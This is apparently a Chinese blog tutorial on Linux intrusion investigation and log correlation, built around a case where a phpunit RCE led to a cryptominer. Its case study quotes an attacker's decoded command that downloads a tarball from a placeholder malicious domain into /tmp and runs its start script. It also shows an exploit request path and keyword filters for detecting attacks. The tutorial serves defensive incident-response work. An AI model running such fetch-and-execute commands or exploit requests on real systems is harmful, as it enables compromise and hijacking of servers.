凌晨两点被监控系统震醒SSH 登录失败的告警刷了满屏登录服务器一看CPU 跑满进程列表里多了一个名字很随机的进程/tmp 下躺着一个看不懂的压缩包。这种场景做过运维的人多少都经历过。真正的问题不是“服务器被入侵了怎么办”而是“怎么在最短时间内搞清楚攻击者做了什么、怎么进来的、还有没有后门”。这就需要靠日志把散落在系统各处的日志串起来才能还原整个攻击过程。这篇文章我基于自己做 Linux 入侵排查和综合日志分析的经验把整个排查思路、常用命令、日志关联方法和踩过的坑完整梳理一遍。内容覆盖系统日志、应用日志、登录痕迹、进程网络异常、攻击链还原以及排查结束后的加固收尾适合有 Linux 基础但没太多安全排查经验的运维、开发、SRE 同学参考。1. 排查前先建立日志地图系统里到底有哪些日志可以看很多新手上来就翻 /var/log/messages翻半天看不出问题因为方向错了。入侵排查的第一步不是“看日志”而是“知道日志在哪里、各自记录什么内容”然后才能根据攻击阶段去对应的日志里找线索。1.1 系统核心日志secure、message、cron、dmesg 的分工以 CentOS/RHEL 系为例/var/log/secure 是登录认证日志SSH、su、sudo、用户切换都会记录在这里Debian/Ubuntu 系对应的是 /var/log/auth.log。登录类日志是入侵排查的“第一现场”暴力破解、异常账号登录、sudo 提权操作都在这里留痕。/var/log/messages 是系统级运行日志记录内核消息、服务启停、网络配置变化等在部分新版本系统里被拆到了 /var/log/syslog。dmesg 主要看内核环形缓冲区日志排查内核崩溃、驱动异常、异常的硬件行为时用得上但不适合作为日常排查的入口。还有个容易被忽略的是 /var/log/cron。攻击者拿到权限后经常通过计划任务做持久化比如每五分钟执行一次下载脚本。如果排查时只在进程列表里看到可疑进程kill 掉之后又复活十有八九就是 cron 里留了东西。排查的时候我会按这个顺序过一遍日志文件记录内容优先级/var/log/secure 或 auth.logSSH 登录、sudo、su 等认证行为高/var/log/cron计划任务执行记录高/var/log/messages 或 syslog系统服务、内核日志中/var/log/dmesg内核环形缓冲消息中/var/log/btmp / lastlog登录失败记录、最近登录记录高btmp 和 lastlog 是二进制格式不能直接 cat要用 lastb 和 lastlog 命令读。last 命令读取的是 wtmp 文件记录的是成功登录的会话lastb 读 btmp记录的是失败登录也就是暴力破解的线索来源。1.2 应用层日志入侵者经常绕过系统日志直达应用系统日志不是全部。实际案例里攻击者更倾向于走应用层漏洞比如 Web 应用的 RCE、SQL 注入、文件上传漏洞这些行为在系统日志里是没有痕迹的得去应用日志里找。Nginx 和 Apache 的访问日志是排查 Web 入侵的入口。先确认 access log 和 error log 的路径然后重点看几个特征User-Agent 异常、请求路径带 eval/exec/base64 等关键字、POST 请求大量出现在脚本文件、同一个 IP 短时间内大量 404/500 状态码。比如 Nginx 里排到日志格式为 combined 时一条典型的攻击探测长这样192.168.1.66 - - [12/Jan/2025:03:21:47 0800] POST /upload/avatar.php HTTP/1.1 200 512 - Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)注意几个点时间戳在凌晨、POST 到上传接口、状态码 200 表示上传成功、User-Agent 伪装成百度蜘蛛。这种日志单独看似乎没啥但配合 5 分钟后的 /var/log/secure 里面出现该 IP 的 SSH 登录尝试就能把攻击路径串起来了。Java 应用Tomcat/Spring Boot一般看 catalina.out 和应用程序自己的 logback/log4j 日志重点搜 Exception、CommandExecution、ProcessBuilder 这些关键字。MySQL 的话看 general log 和 slow query loggeneral log 默认关闭平时不开的话入侵后就没法查 SQL 层面的细节所以严肃一点的业务库建议至少开 slow query log。1.3 时间基准日志关联分析的前提条件这是我实际排查中踩过最深的坑之一。曾经排查一个数据库服务器系统日志显示攻击者在 23:50 执行了删表操作但应用日志里对应时间段没有任何写入排查了半天最后发现问题出在服务器时区漂移系统时间比真实时间快了 8 分钟导致日志关联出现了盲区。不管日志是从 ELK 采集的还是本地的先确认时间同步状态。排查环境里执行timedatectl status和date同时用date -u看 UTC 时间有条件的话和 NTP 服务器比对一下。如果发现当前服务器时间不准那所有日志的时间戳都要做偏移校正否则后续的时间线分析全废。2. 四类最常遇到的入侵迹象日志里到底该找什么掌握了日志分布之后接下来要解决的是“特征”问题。入侵行为不管多隐蔽最终都会在四个层面留下痕迹登录、命令执行、文件系统、网络连接。逐层排查基本能覆盖大多数入侵场景。2.1 登录痕迹暴力破解与异常来源 IP 的识别暴力破解是最常见的入口。查看失败登录记录# 查看最近所有失败登录 lastb -n 50 # 从 secure 日志里提取所有 Failed password 行 grep Failed password /var/log/secure | awk {print $(NF-3)} | sort | uniq -c | sort -rn看输出的前几行如果同一个 IP 有几十上百次失败记录基本可以认定是暴力破解。但比失败登录更危险的是“成功登录”——攻击者暴力破解成功后日志里会留下这样的记录# 查找正在连接的会话 who w # 查看成功登录历史 last -n 20我在排查时见过一个案例攻击者先扫到了对外开放的 SSH 端口用 root 弱口令尝试了三个小时中间有一次成功然后立刻建立了长连接并关闭了 SSH 的密码认证。从日志上看失败记录在某个时间点之后突然消失——那不是攻击者放弃了而是他已经登录进来了。所以排查时一定要把失败记录和成功记录放在一起看重点关注“大量失败之后紧跟一次成功”的时间段。2.2 命令执行的痕迹history、auth.log 与 shell 日志的交叉验证攻击者登录后必然会执行命令这个话题分三层当前 shell 的 history、root 用户的 sudo 记录、可能的持久化后门。普通用户的 history 很容易被清除攻击者执行history -c或者直接删掉 .bash_history 文件就能抹掉痕迹。所以我不建议把命令执行排查的重点放在 history 上——它只是辅助。更可靠的是 sudo 日志# 查看 sudo 授权记录 grep sudo /var/log/securesudo 记录里能看到谁在什么时间执行了什么命令比如visudo、useradd、chmod 4777 /bin/bash这种典型提权操作。如果你排查的系统开启了 bash 的 syslog 记录通过设置export PROMPT_COMMANDhistory -a; logger -p authpriv.info -t bash_history $USER $PWD $BASH_COMMAND那么 /var/log/messages 里会留下更完整的命令轨迹。进程行为也要看。用ps aux --sort-%cpu看高 CPU 进程怀疑挖矿时重点找那些名字随机、CPU 占用率 90% 以上、父进程是 1init的进程用ls -l /proc/PID/exe查看进程对应的可执行文件真实路径用cat /proc/PID/environ查看环境变量有时能发现进程启动时的初始上下文。2.3 文件与进程的可疑变化重点关注这几个“重灾区”目录文件层面的排查需要结合时间窗口。确定入侵时间之后用 find 查找该时间窗口内被修改的可疑文件# 最近 7 天内新增和修改的脚本、二进制文件 find / -mtime -7 -type f \( -name *.sh -o -name *.pl -o -name *.py -o -perm /111 \) 2/dev/null | grep -Ev ^/(proc|sys|dev) # 重点检查临时目录和 web 目录 ls -la /tmp /dev/shm /var/tmp find /usr/share/nginx/html -type f -name *.php -newermt 2025-01-01 -ls/tmp 和 /dev/shm 是入侵者的“重灾区”权限宽松、可执行文件放这里不容易引起注意清理也不心痛。大多数挖矿脚本和反弹 shell 的入口脚本就扔在这些目录里。文件里有几个时间点要注意ctimeinode 变更时间、mtime内容修改时间、atime访问时间。攻击者可以用touch -r伪造 mtime但 ctime 很难伪造——除非直接改系统时间。所以用stat命令看文件时如果 mtime 正常但 ctime 很新说明文件被碰过。网络连接的排查交给ss -antp重点找对外连接不常见端口4444、5555、6666 这类后门常用端口、进程名与端口不匹配的连接、大量处于 ESTABLISHED 状态的外连。用lsof -i也能看到类似信息ss 输出更友好。3. 从单条日志到攻击链综合日志分析的核心思路单条日志只能说明“发生了什么”综合日志分析要回答的是“整个攻击过程是怎么串起来的”。这一步需要把零散日志按照时间和因果顺序拼接成完整的事件链。3.1 攻击链还原的四个维度我在做日志分析时习惯把攻击过程拆成四个阶段探测期、入侵期、驻留期、扩散期。探测期的典型日志特征是大量 404、大量失败的登录尝试、扫描工具特征明显的 User-Agent。这个阶段对应的是攻击者在“踩点”日志量通常很大但几乎不产生真正的危害。入侵期对应攻击者利用某个漏洞进入系统的时刻。入口可能是 Web 漏洞也可能是弱口令。这个阶段的日志特征是“异常成功”成功登录、Web 请求返回 200、创建了新的账号、临时目录出现新文件。驻留期是攻击者建立持久化的阶段计划任务、启动脚本、SSH 公钥、动态链接库劫持都发生在这个阶段。日志特征是有非预期进程常驻、开机自启项变化、systemd 服务列表多出陌生的 service。扩散期是横向移动阶段特征包括 SSH 登录到其他内网服务器、执行了scp/rsync推送文件、DNS 解析请求异常、内网端口扫描行为。把日志按这四个阶段归类排查效率会高很多。最忌的是“想到哪查到哪”漫无目的地翻日志最后时间花了大把还原出来的攻击路径还是碎片。3.2 一个完整案例从 Nginx 访问日志到挖矿程序的链路还原下面用一个简化但完整的案例演示综合日志分析的思路这个案例里的日志结构我做过脱敏但排查路径是真实的。某天接到业务方反馈一台 Web 服务器访问特别卡。先看进程top里发现一个叫systemd-net的进程占用 180% CPU这个名字很容易让人误以为是系统进程——伪装名。第一步查这个进程的可执行文件路径和启动方式ls -l /proc/1234/exe # 查看进程对应的可执行文件 cat /proc/1234/cwd # 查看当前工作目录 cat /proc/1234/cmdline # 查看启动参数结果发现 exe 指向/tmp/.X11-unix/systemd-netcwd 是/tmpcmdline 里带了一个钱包地址参数。确定是挖矿程序伪装的系统进程名。第二步找入口。检查 nginx 访问日志在入侵时间窗口内发现了这样一条记录183.136.225.12 - - [05/Jan/2025:02:11:09 0800] GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 200 189 - curl/7.68.0这个请求的特征非常明确访问的是 ThinkPHP 框架里 phpunit 组件的已知 RCE 漏洞路径User-Agent 是 curl说明攻击者是用命令行发起的探测不是浏览器。第三步查 phpunit 漏洞被利用后发生了什么。查看该 PHP 文件的内容发现里面被拼接了一段 base64 编码的下载命令解码之后是cd /tmp wget -q http://恶意域名/x.tar.gz tar xzf x.tar.gz chmod x start.sh ./start.sh这个命令对应了 /tmp 目录下出现大量文件、进程列表里出现挖矿程序这两个现象。第四步检查横向移动。查 secure 日志中攻击 IP 的 SSH 登录记录发现该 IP 在入侵 Web 服务器之后 40 分钟又尝试登录了内网另一台数据库服务器失败 3 次后放弃。到这里整条攻击链就清晰了扫描器发现目标 → 利用 phpunit RCE 漏洞上传下载脚本 → 下载挖矿程序到 /tmp → 伪装成系统进程运行挖矿 → 尝试横向移动到内网数据库服务器。时间线上所有日志都能对上整个排查过程大概花了一个半小时。这个案例的价值在于单看 nginx 日志只会发现一条可疑请求单看进程只会看到一个高 CPU 的进程。只有把两者放在时间轴上做交叉验证才能还原完整链路才能确定下一步加固方向。4. 日志量太大怎么处理高效筛选与证据保全的实操技巧服务器上跑了半年以上的日志动辄几个 GB。拿着 grep 在一堆几十 GB 的日志文件里翻关键词效率极低。这个章节讲几个实战中验证过的日志处理技巧。4.1 日志筛选的模式分步收敛而不是一把梭处理大日志文件我习惯用“先粗后细”的策略。先用简单规则把数量收敛到几千行以内再针对收敛后的结果做精细分析而不是反复在原始文件上做全量 grep。第一步按时间窗口收敛# 只看某一时间段的日志 awk $0 2025-01-05 02:00:00 $0 2025-01-05 03:00:00 /var/log/nginx/access.log /tmp/attack_window.log第二步按特征词粗筛# 提取包含 POST、eval、exec、base64 的请求 grep -Ei POST|eval|exec|base64|cmd|shell /tmp/attack_window.log /tmp/suspicious.log第三步按 IP 聚合排名awk {print $1} /tmp/suspicious.log | sort | uniq -c | sort -rn | head -20到这一步基本能锁定少数几个高可疑 IP再针对这些 IP 做全字段分析。整个流程下来即使原始日志 5 个 GB收敛到最终分析阶段也就几千行。用 journalctl 的话直接用--since和--until参数限定时间窗配合-u指定服务名journalctl --since 2025-01-05 02:00:00 --until 2025-01-05 03:00:00 -u sshd4.2 证据保全排查之前先把原始日志复制出来这是我吃过亏之后养成的习惯。早期排查时直接在当前服务器上操作结果有一次不小心执行了logrotate -f把原始日志文件滚动掉了部分关键证据无法恢复。正确做法是排查一开始就先做镜像备份mkdir /evidence_20250105 tar czf /evidence_20250105/syslog_backup.tar.gz /var/log/secure /var/log/messages /var/log/cron /var/log/nginx/ md5sum /evidence_20250105/syslog_backup.tar.gz /evidence_20250105/checksum.txt把备份放到独立存储位置不要放在出问题的服务器上后续所有的分析尽量针对备份副本做避免对原始日志产生二次修改。另外非常重要的一个提醒如果你怀疑攻击者还在活动中能用只读方式挂载日志目录就不要直接操作原服务器。否则你排查的过程本身就会改变 atime破坏证据的时间线完整性。4.3 日志被清除了怎么办从其他维度找痕迹高水平的攻击者会清除日志常见的清除手段包括直接删除日志文件、清空文件内容、用sed -i删除包含自己 IP 的行、篡改系统时间制造混乱。如果发现日志文件异常小、某个时间段出现空档、或者日志文件的 mtime 比系统运行时间新说明日志可能被动过手脚。这时不要慌从其他维度补证据查 bash 历史残留即使 history 被清某些终极 Shell 或 screen/tmux 会话里还有输入记录查系统可执行文件的完整性rpm -Va或debsums -c列出被篡改过的系统文件列表查内核模块和启动项查 SSH 认证公钥文件authorized_keys查 /etc/passwd 和 /etc/shadow 的 uid0 账号。还有一个容易忽视的点如果服务器配置了远程 syslog 或者日志采集系统如 ELK、Loki本机日志被清不代表远端日志被清。这也是我强烈建议生产环境配远程日志采集的原因——它既是 SIEM 类安全分析的基础也是入侵排查中对抗日志清除的“最后防线”。5. 日志分析工作的收尾梳理排查结论与加固闭环排查到最后需要输出一份结论清晰的事件报告并且把加固措施落到位否则下次还会被攻击者找到同一个入口进来。5.1 排查报告里应该写清楚哪些内容我自己的排查模板核心是三段式攻击路径、影响范围、修复建议。攻击路径描述要包含时间线、入口点、利用方式、持久化机制。比如“2025-01-05 02:11攻击者通过 phpunit RCE 漏洞CVE-2017-9841获取 www 用户权限随后通过 base64 编码的命令下载挖矿程序植入计划任务实现持久化”。影响范围要说明哪些服务器确认受影响、哪些服务器经排查未受影响、是否有数据被篡改或外泄迹象、是否发生横向移动。不确定的地方要写“未发现明显异常但建议持续监测”不能为了写出确定性结论而忽视未知风险。修复建议按“短期止损-中期修复-长期加固”三层写。短期止损是立即执行的比如封禁攻击 IP、删除后门文件、清理计划任务、修改所有密码中期修复是补漏洞、升级组件长期加固是收敛暴露面、完善日志采集、部署安全监控把整个系统变成“下个攻击者进不来、进来也会更快被发现”的状态。5.2 加固清单排查结束后第一周要做的事根据实际经验排查结束后第一周是二次入侵的高发期。原因很简单攻击者留下的后门如果没排干净或者入口漏洞还没封堵重装一次脚本的成本极低。所以下面这些动作在首批处理时就要做不要拖到“下周再说”。SSH 侧禁用 root 密码登录PermitRootLogin prohibit-password改为密钥认证如果确实需要密码登录配置Fail2ban或sshd自身的MaxAuthTries限制修改 SSH 监听端口只是低效的障眼法不要当成安全手段。清理 /root/.ssh/authorized_keys 和所有用户家目录下的 authorized_keys重点核对密钥内容是不是自己主动添加的。账号侧检查 /etc/passwd 中 uid0 的非 root 账号、/etc/shadow 中密码字段异常的账号、/etc/sudoers 中是否有陌生用户。awk -F: $30{print $1} /etc/passwd一行命令就能查。任务侧检查 crontab -l、/etc/cron.* 和 systemd 定时器systemctl list-timers启动项侧检查 rc.local、systemd 服务的开启自启列表、/etc/init.d 下的新增脚本。systemctl enable --list能列出所有自启服务对着这个清单逐个过一遍发现不是自己配置的直接禁用。内核侧lsmod看加载的模块清单特别关注不常见的内核驱动cat /proc/modules可以辅助核对模块与文件是否匹配。如果做了内核级别的 hook靠常规命令很难发现这时要借助 AIDE/Tripwire 这类文件完整性检测工具来判断系统二进制是否被替换过。这类工具平时就得装好、初始化好基线备份一次基线再持续监控否则在同一个系统上第一次运行工具时已经无法区分基线是正确的还是被污染过的。把日志采集从“先记录再说”升级为“有保留、有轮转、有远端备份”是我个人在多次入侵排查后最想强调的一条。日志不是拿来应对合规检查的装饰品而是安全事件发生后唯一能还原真相的原始材料。平时维护好日志基础设施排查时才能真正做到心里有数。